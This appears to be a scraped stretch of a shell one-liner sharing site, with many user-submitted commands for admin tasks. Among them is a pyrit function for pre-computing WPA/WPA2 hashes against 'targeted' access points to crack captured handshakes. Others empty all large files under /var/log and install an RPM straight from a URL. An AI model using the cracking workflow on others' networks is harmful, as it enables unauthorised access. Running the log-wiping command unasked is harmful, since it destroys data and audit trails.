f052b6bf06cde7c020543ed6f7bc1146 dfjsakl Functions: awk command use awk to replace field with it's md5sum Source: http://www.eggheadcafe.com/software/aspnet/35700746/calculating-md5sum-strings-from-within-awk.aspx for x in *.mp3; do y=`echo $x | sed 's/...\(.*\)/\1/' | sed 's/.mp3//ig'`; id3v2 --TIT2 "$y" "$x"; done Writes ID3 tags using the file name as the title. Assumes that the files are named as such: 01-Filename.mp3 If your files are named differently, change the number of periods in the sed 's/...\(.*\)/\1' bit to match the numbers of characters you need to cut off the front of the file. Note: This only writes the titles. find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt Locate Hacked Files and Dump. This will check all .HTML file contents for the word "Hacked" and dump it to hacklog.txt. This is great for located all those files affected by nasty Joomla exploits. Change the .HTML to any other extension you wish to check, and of course the word "HACKED" for other searches. cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n' Se Te Qu Qu Se S? Do Se Te Qu Qu Se S? Do Se Te Qu Qu Se S? Do 5 6 7 8 9 10 11 2 3 4 5 6 7 8 2 3 4 5 6 7 8 12 13 14 15 16 17 18 9 10 11 12 13 14 15 9 10 11 12 13 14 15 19 20 21 22 23 24 25 16 17 18 19 20 21 22 16 17 18 19 20 21 22 6 7 8 9 10 11 12 4 5 6 7 8 9 10 8 9 10 11 12 13 14 13 14 15 16 17 18 19 11 12 13 14 15 16 17 15 16 17 18 19 20 21 20 21 22 23 24 25 26 18 19 20 21 22 23 24 22 23 24 25 26 27 28 6 7 8 9 10 11 12 3 4 5 6 7 8 9 7 8 9 10 11 12 13 13 14 15 16 17 18 19 10 11 12 13 14 15 16 14 15 16 17 18 19 20 20 21 22 23 24 25 26 17 18 19 20 21 22 23 21 22 23 24 25 26 27 5 6 7 8 9 10 11 2 3 4 5 6 7 8 7 8 9 10 11 12 13 12 13 14 15 16 17 18 9 10 11 12 13 14 15 14 15 16 17 18 19 20 19 20 21 22 23 24 25 16 17 18 19 20 21 22 21 22 23 24 25 26 27 Functions: cal sed tr Today's date on a yearly calendar... credits to http://lifehacker.com/250825/cli-fun--todays-date-on-a-yearly-calendar for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done Quickly clean log files (assuming you don't want them anymore) Empties all files in /var/log over 5000k. Useful if /var goes crazy or if you just haven't cleaned up in a while. ‹ First < 258 259 260 261 262 > Last › apt-key list uid Google, Inc. Linux Package Signing Key Check the apt security keys For example: check the APT security keys to make sure the Google digital signature was imported correctly perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q) Functions: ls perl sed Extract all urls from last firefox sessionstore used in a portable way. If you want all the URLs from all the sessions, you can use : perl -lne 'print for /url":"\K[^"]+/g' ~/.mozilla/firefox/*/sessionstore.js Thanks to tybalt89 ( idea of the "for" statement ). For perl purists, there's JSON and File::Slurp modules, buts that's not installed by default. ping 8.8.8.8 Test internet connectivity 8.8.8.8 and 8.8.4.4 are two Google public DNS. As their address is really simple, it's easy to use this command to test if Internet is reachable. Beware of large corporate networks however, that may use this address on router's loopbacks interfaces. gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i"){IGNORECASE=1; ARGC=1}};{Text[NR]=$0};END {asort(Text);for (i=1;i<=NR;i++) printf "%s\n\n",Text[i] }' -i/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz # Backup all MySQL Databases to individual files for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done # Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file. find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \; Functions: gawk printf # Multiline paragraph sort; with case insensitive option (-i) Among other things, this allows the sorting of comment descriptions and command lines retrieved as text from CommandLineFu.com. Create a temp file Another way to create temp files in your scripts, if tempfile fails, it will create a hidden local file in the current directory, don't forget to delete $FILE say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;} Functions: bash sleep wget No need to install additional packages For multiword say how+are+you lynx -dump http://example.com/ | awk '/http/{print $2}' | sort -u This will get all links from a given URL, remove any duplicates, and output the result. ls -d1 $PWD/* for file in `find /var/log/ -type f -size +5000k`; do > $file; done you don't need to echo, just a plain redirect is enough to empty the file ord() { printf "%d\n" "'$1"; } printf treats first char after single ' as numeric equivalent gopyrit () { if [ $# -lt 1 ]; then echo $0 '< list of ESSIDs >'; return -1; fi; for i in "$@"; do pyrit -e $i create_essid && pyrit batch; done; pyrit eval } gopyrit linksys ACTIONTEC NETGEAR Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Created ESSID 'linksys' Working on ESSID 'linksys' Processed all workunits for ESSID 'linksys'; 337 PMKs per second. Batchprocessing done. Created ESSID 'ACTIONTEC' Working on ESSID 'ACTIONTEC' Processed all workunits for ESSID 'ACTIONTEC'; 344 PMKs per second. Created ESSID 'NETGEAR' Working on ESSID 'NETGEAR' Processed all workunits for ESSID 'NETGEAR'; 360 PMKs per second. Passwords available: 4078 ESSID 'ACTIONTEC' : 4078 (100.00%) ESSID 'NETGEAR' : 4078 (100.00%) ESSID 'linksys' : 4078 (100.00%) Functions: echo eval return WPA/WPA2 ESSID and password automation with pyrit This command will automate the creation of ESSIDs and batch processing in pyrit. Give it a list of WPA/WPA2 access points you're targeting and it'll import those ESSIDs and pre-compute the potential password hashes for you, assuming you've got a list of passwords already imported using: pyrit -i dictionary import_passwords Once the command finishes, point pyrit to your packet capture containing a handshake with the attack_db module. Game over. perl -e "tr/[A-Z]/[a-z]/;" -pi.save $(find . -type f) perl -e 'printf join ".", map int rand 256, 1 .. 4;' geoip() { lynx -dump "http://api.hostip.info/get_html.php?ip=$1&position=true"; } Country: UNITED STATES (US) City: Mountain View, CA Latitude: 37.402 Longitude: -122.078 IP: 74.125.227.48 echo -e ${PATH//:/\\n} quoteless perl -MAcme::POE::Tree -e 'Acme::POE::Tree->new()->run()' Create a Christmas tree with perl Require: perl -MCPAN -e 'install Acme::POE::Tree' From: http://www.catonmat.net/blog/christmas-tree-in-the-shell/ IMG="image.img";PART=1;mount -o loop,ro,offset=$(parted $IMG -s unit b print|awk '$1=='$PART' {sub(/B/,"",$2);print $2}') $IMG /mnt/whatever Functions: awk mount Mount a partitoned disk-image file Mounts a disk-image of a hdd with partitions exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg set timestamp in exif of a image equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}' alanceil@kvirasim:03:06:2:0:~> equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}' app-text/scrollkeeper-9999-r1: 0m gnome-base/gail-1000: 0m --- *snip* --- dev-java/sun-jdk-1.6.0.13: 158.84m games-puzzle/neverball-1.5.0: 174.607m app-office/openoffice-bin-3.0.0: 380.035m Functions: gawk sed sort Gentoo: Get the size of all installed packets, sorted On a Gentoo system, this command will tell you which packets you have installed and sort them by how much space they consume. Good for finding out space-hogs when tidying up disk space. `ls` Equivelant of a Wildcard This is exactly the same as a wildcard - good for times when wildcards are disabled and when you want have a wildcard of a directory that is not your current ({`ls /path/to/dir`}). Does not work on older versions of Bash though. perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}' This dumps all of your installed perl's config information. for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$' Fundamentals Of Physics - 1724.32 Google Techtalks - 258.292 Introduction to Algorithms - 1805.26 Linear Algebra - 1675.23 Functions: awk cut echo file grep xargs Better "hours of video" summary for each file/dir in the current directory I know this has been beaten to death but finding video files using mime types and printing the "hours of video" for each directory is (IMHO) easier to parse than just a single total. Output is in minutes. Among the other niceties is that it omits printing of non-video files/folders PS: Barely managed to fit it within the 255 character limit :D \cp something toSomeWhereElse Say no to overwriting if cp -i is the default alias. If the problem is an aliased synonym for a command, you can still execute the original command by pre-pending it with a reverse-slash '\'. This works at least in Bash, but I guess the aliasing system refers definitely to Bash (and not only). gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i")IGNORECASE=1;ARGC=1}{if (IGNORECASE)Text[tolower($0)]=$0;else Text[$0]=$0 };END {N=asort(Text);for(i=1;i<=N;i++)printf "%s\n\n",Text[i]}' -i /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \; # geoip information curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g' # List files contained within a zip archive unzip -l # Multiline unique paragraph sort; with case insensitive option (-i) Sorts blank line delimited paragraphs. '-i' -- case insensitivity option -- removes redundant paragraphs in a case insensitive way, and then sorts in a case insensitive way. If you search CommandLineFu with multiple anded terms searches, redundancy can ensue. This sorts the retrieved text (among other kinds of data), and removes the redundancy. echo $(grep "^[^'A-Z]\{3,7\}$" /usr/share/dict/words|shuf -n4) -> % echo $(grep "^[^'A-Z]\{3,7\}$" /usr/share/dict/words|shuf -n4) hooked taint sundown disk This restricts things 3 ways: 1. No capitalized words, hence no proper names. 2. No apostrophes. 3. Restricts size to range (3,7) ‹ First < 259 260 261 262 263 > Last › nmap -sP 192.168.1.0/24 | awk "/^Host/"'{ print $3 }' |nawk -F'[()]' '{print $2}' 192.168.1.1 192.168.1.43 192.168.1.67 192.168.1.100 192.168.1.104 A list of IPs (only) that are online in a specific subnet. Often you want to nmap a list of IPs using the -iL flag. This is an easy way to generate a list of IPs that are online in a specific subnet or IP range (192.168.1.100-110). rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm' download and install the software package in one step ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64 See if your mac can run 64-bit && if it the kernel is loaded 64-bit perl -le 'print join $/, @INC' Show which include directories your installation of Perl is using. This will show where your Perl installation is looking for modules. echo start > battery.txt; watch -n 60 'date >> battery.txt' I made a 10s interval to printout quicky this output. For pratical purposes and less file size, 60s interval sounds enought. Here's the contents of battery.txt: Dom Out 18 03:36:33 BRST 2009 Dom Out 18 03:36:43 BRST 2009 Dom Out 18 03:36:53 BRST 2009 Dom Out 18 03:37:03 BRST 2009 Dom Out 18 03:37:13 BRST 2009 Dom Out 18 03:37:23 BRST 2009 Dom Out 18 03:37:33 BRST 2009 Dom Out 18 03:37:43 BRST 2009 Dom Out 18 03:37:53 BRST 2009 Dom Out 18 03:38:03 BRST 2009 Dom Out 18 03:38:13 BRST 2009 Dom Out 18 03:38:23 BRST 2009 Dom Out 18 03:38:33 BRST 2009 Dom Out 18 03:38:44 BRST 2009 Dom Out 18 03:38:54 BRST 2009 Dom Out 18 03:39:04 BRST 2009 # the last time stamp inside the battery.txt file is of interest. It is the time the computer went off, as the battery was dead! Functions: echo watch Fully recharge your computer battery and start this script. It will create or clean the file named battery.txt, print a start on it and every minute it will append a time stamp to it. Batteries last few hours, and each hour will have 60 lines of time stamping. Really good for assuring the system was tested in real life with no surprises. The last time stamp inside the battery.txt file is of interest. It is the time the computer went off, as the battery was dead! Turn on your computer after that, on AC power of course, and open battery.txt. Read the first and last time stamps and now you really know if you can trust your computer sensors. If you want a simple line of text inside the battery.txt file, use this: watch -n 60 'date > battery.txt' The time of death will be printed inside purple-remote "setstatus?status=Available&message=Checking libpurple" Set status in pidgin xmms2 info $(xmms2 mlib search '' | sed -ne 's/^00*\([1-9][0-9]*\).*$/\1/p') | awk -F' = ' '$1~/ url$/{print$2}' Functions: awk info sed Get URLs matching some xmms2 search pkill -f Using -f treats the process name as a pattern so you don't have to include the full path in the command. Thus 'pkill -f firefox' works, even with iceweasel. aptitude search ~d Find packages on Ubuntu/Debian based on their description Especially useful for latex packages, which are listed in the description of their Ubuntu package E.g. say I want to find the Ubuntu package containing latex package aeguill: aptitude search ~daeguill p texlive-lang-french - TeX Live: French find -iname "" -exec cp {} \; Copy files from multiple directories into one directory sed -i '$a\FOOBAR' * Append a new line "FOOBAR" in all files matching the glob* awk '{ if ($column == "string") print}' file.txt Print entire field if string is detected in column It searches for a specific value in the specified column and if it finds it it'll print the whole field/row. Similarly, if you don't know what you're looking for exactly but want to exclude something you're already aware of, you can exclude that "something: awk '{ if ($column != "string") print $0}' svn st | grep ^\? | awk '{print $2}' | xargs svn add Add new file under svn version control. convenience. ^[c (ctrl-v esc-c) Resets terminal in its original state Resets a scrambled terminal into its orignal state. cat file | tee >> file echo "Just one line" >> file cat file > Just one line cat file | tee >> file Functions: cat file tee append content of a file to itself The command `cat file >> file` failes with the following error message: cat: file: input file is output file `tee` is a nice workaround without using any temporary files. /bin/cp -n cat input.txt | sed 's/\\\033[^a-zA-Z]*.//g' slpappasswd # slappasswd New password: Re-enter new password: {SSHA}Xkcd21CV1TaCQXZRnop184vAvel6XV+9 Simply generate a password for userPassword in ldap Permit to generate a password for userPassword in ldap. Use ?slappasswd -g? to generate a random passowrd. perl -ne 's/\^.{1,7}?m//g;print' Remove color codes (special characters) with perl Removes special characters (colors) in '^]]Xm' and '^]]X;Ym' format from file. Use pipe ('input | perl [...]') or stream ('perl [...] You can use 'cat -v infile' as 'input' to show special characters instead of interpreting (there is problem with non-ASCII chars, they are replaced by M-[char]). pkgchk -l -p # pkgchk -l -p /etc/release Pathname: /etc/release Type: regular file Expected mode: 0444 Expected owner: root Expected group: sys Expected file size (bytes): 239 Expected sum(1) of contents: 15337 Expected last modification: Mar 31 05:44:28 2009 Referenced by the following packages: Current status: installed Find which package a file belongs to on Solaris Find which package a file belongs to on Solaris along with it's packaging system metadata. watch -d 'ls -l' How to watch files To highlight the difference between screen updates snarf http://foo.bar.com/picture.jpg picture.jpg [\] 4K 5094 bytes transferred in 0.00 sec (2600.54k/sec) snarf is a command line resource grabber. It can transfer files through the http, gopher, finger, and ftp protocols without user interaction. It is small and fast. sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync` Testing writing speed with dd for i in `ndd /dev/ip \? | awk '{ print $1 }' | egrep -v "ip6|status|icmp|igmp|\?"` ; do echo $i `ndd -get /dev/ip $i` ; done | grep -v \? ip_respond_to_echo_broadcast 0 ip_respond_to_echo_multicast 0 ip_respond_to_timestamp 0 ip_send_redirects 0 ip_debug 0 ip_mrtdebug 0 ip_ire_timer_interval 60000 ip_ire_arp_interval 60000 ip_ire_redirect_interval 60000 ip_def_ttl 255 ip_forward_src_routed 0 Functions: awk echo egrep grep Show the ndd ip settings of a solaris device This command is jsut for the main IP settings of ndd. if you need ip6 or icmp edit the text within the egrep inclusion area. Felix001 - www.Fir3net.com gnome-open . & disown forking a process from gnome-terminal detached from the terminal. ‹ First < 260 261 262 263 264 > Last › find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \; Functions: cat find zcat This command allows you to stream your log files, including gziped files, into one stream which can be piped to awk or some other command for analysis. Note: if your version of 'find' supports it, use: find /var/log/apache2 -name 'access.log*gz' -exec zcat {} + -or -name 'access.log*' -exec cat {} + tr -d '\\' | tr -d '\n' # tr -d '\\' <> Hello world! echo 'scale=70; 127/131' | bc | tr -d '\\' | tr -d '\n' busybox nameif newname $( "/sbin/ifconfig oldname down" ck-list-sessions Session136: how to find the active X (X11/xorg) username and DISPLAY variable Requires consolekit (works in e.g. Ubuntu). Here x11-display is DISPLAY gethostip 208.69.34.230 -x # gethostip 208.69.34.230 -x D04522E6 Convert ip address in hexadecimal find . -type f -not -regex ".*\/.svn\/.*" -exec sed -i 's/oldstring/newstring/g' {} + Find and replace recursivly a ignoring .svn grep -UIlr "^M" * Where ^M is entered by ctrl-v-m (v then m). Especially useful on cygwin when checking into a version control system. If you're not using all cygwin tools (e.g. strawberry perl instead of cygwin perl) you'll find yourself dealing with this constantly. -U tells grep to process the file as binary; it needs this to work -I ignores binary files so you won't get false positives -l only prints the filename instead of the offending lines -r recursive ls /var/log/ |wc -l Count files and folder perl -e "binmode(STDOUT, ':utf8'); print \"$@\""; echo # newline $ unidecode "\x{1D306}" 𝌆 $ unidecode "\x{00A9}\x{2122}\x{00AE}" ??? This is especially useful to get crazy stuff like space characters copied to your pasteboard correctly. Source: https://github.com/mathiasbynens/dotfiles/blob/master/.functions mysql -s -e "show processlist" |awk '{print $1}' 3131 3210 5633 6032 6061 6375 6588 6772 7092 7499 7663 show mysql process ids pg_dump otrs2 | gzip > dump.gz make pgsql backup and gzip it grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log Search for specific IPs taken form a text file within the apache access log bnd-ips.txt is a list of IP adresses that is concenated for use as regular expression. Yes, this is still very speedy ;=) vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;" draw `vmstat ` data using gnuplot uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard Functions: sed tr uuencode encode image to base64 and copy to clipboard I use it for embedding images in CSS for Stylish, the Firefox addon. Thought it might be useful to others. :/\c{pattern} Search pattern case insensitive ls -lth podcasts/ drwxr-xr-x 2 mark users 4.0K Mar 29 23:01 LottaLinuxLinks drwxr-xr-x 2 mark users 4.0K Mar 29 21:53 x11r5Radio drwxr-xr-x 2 mark users 4.0K Mar 29 21:53 TLLTS drwxr-xr-x 2 mark users 4.0K Mar 29 21:53 Linux.Outlaws.Ogg List file/directories in order of last accessed, in human readable terms Especially useful with a command line podcatcher like Mashpodder. alias screenr='screen -r $(screen -ls | egrep -o -e '[0-9]+' | head -n 1)' Functions: alias egrep head screen Quick enter into a single screen session find . -type l | (while read FN ; do test -e "$FN" || ls -ld "$FN"; done) lrwxrwxrwx 1 nobody nobody 43 2010-03-15 13:00 /mnt/retorn -> /opt/retorn Functions: find ls read test curl --ntlm -u / -T /path/to/local/$FILE http://sharepoint.url.com/doc/library/dir/ Use Curl to upload documents from your linux servers to MS Sharepoint servers. smartctl --attributes /dev/sda === START OF READ SMART DATA SECTION === SMART Attributes Data Structure revision number: 16 Vendor Specific SMART Attributes with Thresholds: ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE ~ # Read all the S.M.A.R.T. data from a hard disk drive This is to pull all the saved S.M.A.R.T. (Self-Monitoring, Analysis and Reporting Technology) information from a hard drive. This can give you an idea of the nature and extent of an issue on a failing hard drive. ffprobe video.flv ffprobe version 0.8.5, Copyright (c) 2007-2011 the FFmpeg developers built on Oct 27 2011 21:29:14 with gcc 4.6.1 20111003 (Red Hat 4.6.1-10) configuration: --prefix=/usr --bindir=/usr/bin --datadir=/usr/share/ffmpeg --incdir=/usr/include/ffmpeg --libdir=/usr/lib64 --mandir=/usr/share/man --arch=x86_64 --extra-cflags='-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic' --enable-bzlib --enable-libcelt --enable-libdc1394 --enable-libdirac --enable-libfreetype --enable-libgsm --enable-libmp3lame --enable-libopenjpeg --enable-librtmp --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libxvid --enable-x11grab --enable-avfilter --enable-postproc --enable-pthreads --disable-static --enable-shared --enable-gpl --disable-debug --disable-stripping --shlibdir=/usr/lib64 --enable-runtime-cpudetect libavformat 53. 4. 0 / 53. 4. 0 libavdevice 53. 1. 1 / 53. 1. 1 libavfilter 2. 23. 0 / 2. 23. 0 libpostproc 51. 2. 0 / 51. 2. 0 Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'TIM_L.mov': minor_version : 512 creation_time : 1970-01-01 00:00:00 encoder : Lavf51.19.0 encoder-eng : Lavf51.19.0 Duration: 00:05:33.96, start: 0.000000, bitrate: 2183 kb/s Stream #0.0(eng): Video: h264 (High), yuv420p, 640x480 [PAR 1:1 DAR 4:3], 2049 kb/s, 29.97 fps, 29.97 tbr, 30k tbn, 59.94 tbc Metadata: ffprobe is specially intended to get video information touch /forcefsk Force file system check (cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";") Functions: cd find mkdir mv Merge ( directories [looking for improvement] Using a GUI file managers you can merge directories (cut and paste). This command roughly does the same (it doesn't ask for confirmation (no problem for me) and it doesn't clean up the empty SRC directories (no problem, trivial). probably does the same: cp -l SRC TARGET; rm -rf SRC i=60;while [ $i -gt 0 ];do if [ $i -gt 9 ];then printf "\b\b$i";else printf "\b\b $i";fi;sleep 1;i=`expr $i - 1`;done ‹ First < 261 262 263 264 265 > Last › cat /etc/squid/squid.conf | grep -v '^#' | sed '/^$/d' Functions: cat grep sed cat without comments Go back to the previous directory. (acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ld-linux.so.2` One liner gdb attach to Acrobat echo 2+3 |bc # echo 2+3 |bc Calculator on the go Handy use of bc in the command line. No need to get 'into' the bc to perform calculations perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size: (.*)/;' < /var/lib/dpkg/status | sort -rn | less 342348 netbeans-ide 231728 kdelibs4-doc 121332 comixcursors 108796 openoffice.org-core Functions: perl sort List packages and their disk usage in decreasing order. This uses the "Installed-Size" from the package metadata. It may differ from the actual used space, because e.g. data files (think of databases) or log files may take additional space. type svn merge -c -REV D uc_cart/uc_cart.admin.inc D uc_cart/uc_cart_checkout_pane.inc D uc_cart/uc_cart_block.css D uc_cart/uc_cart.module [user@localhost svn]$ revert a committed change in SVN This command can be used to revert a particular changeset in the local copy. I find this useful because I frequently import files into the wrong directory. After the import it says "Committed revision 123" or similar. to revert this change in the working copy do: svn merge -c -123 . (don't forget the .) and then commit. find . -name "*.php" -exec grep -i -H "search pharse" {} \; Find PHP files awk '{if ($1~/Sun|Mon|Tue|Wed|Thu|Fri|Sat/) {DATE=$2" "$3" "$4" "$5 } else {print DATE"|"$0}}' alterorcl.log Handling oracle alter log file sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep udp && echo && sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep tcp Functions: echo grep head netstat sudo tail echo foobar | sed -r 's/(^.|.$)//g' Just an other solution :) (sed 's/^/x*=/' file ; echo x) | bc Functions: echo file sed Fast way to get the product of every number in a file #!/bin/bash find | grep -P -v "(class)|(zip)|(png)|(gz)|(gif)|(jpeg)|(jpg)" | xargs -I @ grep -H $1 @ ./Main.java:// public static void main(String[] args) throws IOException -1 find&grep all in once calls grep on all non-binary files returned by find on its current working directory if [[ $EUID -ne 0 ]]; then echo 'Root permissions required! Exiting.'; exit; fi Terminate script or shell if not launched as root This example code is intended to be used as a root permissions check in a script. It makes use of the $EUID (effective user ID) environment variable which is fully su- and sudo-safe. tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt" Tar - Compress by excluding folders if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q http://www.google.com/intl/en_ALL/images/logo.gif ;fi Use ping to test if a server is up Bash scrip to test if a server is up, you can use this before wget'ing a file to make sure a blank one isn't downloaded. for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done Convert wma to wav echo $(( $( date +%s ) - $( stat -c %Y * | sort -nr | head -n 1 ) )) Functions: date echo head sort stat alias oports="echo -e "User:\tCommand:\tPort:\n----------------------------" && lsof -i 4 -P -n | awk '/LISTEN/ {print $3, $1, $9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -u -k 3 -n | xargs printf '%-10s %-10s %-10s\n'" for /F %i in (url_list.txt) do Firefox.exe -new-tab "%i" Firefox.exe needs to be in the path To enhance: add a sleep... url_list contains urls: http://yahoo.com google.com http://fr.news.yahoo.com apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y Functions: apt awk grep install perl sudo xargs I used this to mass install a lot of perl stuff. Threw it together because I was feeling *especially* lazy. The 'perl' and the 'module' can be replaced with whatever you like. dd if=/dev/urandom of=file.img bs=4KB& pid=$!; while [[ -d /proc/$pid ]]; do kill -USR1 $pid && sleep 1 && clear; done Only slightly different than previous commands. The benefit is that your "watch" should die when the dd command has completed. (Of course this would depend on /proc being available) PLAYLIST=$(ls -1) ; mpg123 -C $PLAYLIST Functions: ls mpg123 Store mp3 playlist on variable and play with mpg123 On my music directory, I create variable that contains all mp3s files, then I play them with mpg123. -C options enable terminal control key, s for stop, p for pause, f for forward to next song. host foo.com|grep " has address "|cut -d" " -f4 Titus:~$ host foo.com|grep "has address "|cut -d" " -f4 64.94.125.138 Functions: cut grep host Get just the IP address for a given hostname. For best results, make this a function in your shell rc file so that it can be used for things like traceroute: Titus:~$ traceroute `getip foo.com` traceroute to 64.94.125.138 (64.94.125.138), 64 hops max, 52 byte packets wget -O - "http://www.darkerradio.com/news/free-music-charts-$(date "+%B-%Y")/" 2> /dev/null | grep -o "http://[^ \"']*\.mp3" |grep "freemusiccharts.songs" | sort | uniq | xargs -n1 wget -c --2010-11-26 16:42:26-- http://www.archive.org/download/freemusiccharts.songs2010/2010-09-soulstatedub-peaceOfMind.mp3 Aufl?sen des Hostnamen ?www.archive.org?.... 207.241.229.39 Verbindungsaufbau zu www.archive.org|207.241.229.39|:80... verbunden. HTTP Anforderung gesendet, warte auf Antwort... 302 Moved Temporarily Platz: http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-09-soulstatedub-peaceOfMind.mp3 [folge] --2010-11-26 16:42:26-- http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-09-soulstatedub-peaceOfMind.mp3 Aufl?sen des Hostnamen ?ia700209.us.archive.org?.... 207.241.228.130 Verbindungsaufbau zu ia700209.us.archive.org|207.241.228.130|:80... verbunden. HTTP Anforderung gesendet, warte auf Antwort... 416 Requested Range Not Satisfiable Download der Datei schon vollst?ndig; kein Download notwendig. --2010-11-26 16:42:26-- http://www.archive.org/download/freemusiccharts.songs2010/2010-09-Systemshock-Shiftdelete.mp3 Platz: http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-09-Systemshock-Shiftdelete.mp3 [folge] --2010-11-26 16:42:27-- http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-09-Systemshock-Shiftdelete.mp3 --2010-11-26 16:42:27-- http://www.archive.org/download/freemusiccharts.songs2010/2010-09-theTaste-iWantYou.mp3 Platz: http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-09-theTaste-iWantYou.mp3 [folge] --2010-11-26 16:42:28-- http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-09-theTaste-iWantYou.mp3 --2010-11-26 16:42:28-- http://www.archive.org/download/freemusiccharts.songs2010/2010-10-circusUnderground-saveYou.mp3 Platz: http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-10-circusUnderground-saveYou.mp3 [folge] --2010-11-26 16:42:28-- http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-10-circusUnderground-saveYou.mp3 --2010-11-26 16:42:29-- http://www.archive.org/download/freemusiccharts.songs2010/2010-10-filthyKicks-breakTheAddiction.mp3 Platz: http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-10-filthyKicks-breakTheAddiction.mp3 [folge] --2010-11-26 16:42:29-- http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-10-filthyKicks-breakTheAddiction.mp3 --2010-11-26 16:42:29-- http://www.archive.org/download/freemusiccharts.songs2010/2010-10-flatline-enjoyTheNoise.mp3 Platz: http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-10-flatline-enjoyTheNoise.mp3 [folge] --2010-11-26 16:42:30-- http://ia700209.us.archive.org/0/items/freemusiccharts.songs2010/2010-10-flatline-enjoyTheNoise.mp3 Functions: grep sort uniq wget xargs Get FreeMusicCharts Gets free music charts of the current month ‹ First < 262 263 264 265 266 > Last › $ hash="foo:bar"; key=${hash%:*}; value=${hash#*:}; echo "Key: $key Value: $value" Key: foo Value: bar Create key/value pairs in bash This is a quick and dirty way of creating key/value pairs in bash. Not as flexible as an associative array, but often powerful enough to be useful. For example, if I want to rename sets of files in a way that I can't do with wildcards, I'll create something like 'rename-me.txt' filename_with_no_pattern:aa.txt\n AnotherPieceOfText:ab.txt\n /deeply/nested/file/with/no/pattern.txt:ac.txt\n Then I'll traverse rename-me.txt with a read loop cat rename-me.txt | while read line; do old=${line%:*}; new=${line#*:}; mv $old $new; done python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;" Remove dashes in UUID Remove dashes, also validates if it's a valid UUID (in contrast to simple string-replacement) find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}' Have wc work on each file then add up the total with awk; get a 43% speed increase on RHEL over using "-exec cat|wc -l" and a 67% increase on my Ubuntu laptop (this is with 10MB of data in 767 files). ykpersonalize -1 -ostatic-ticket -ostrong-pw1 -ostrong-pw2 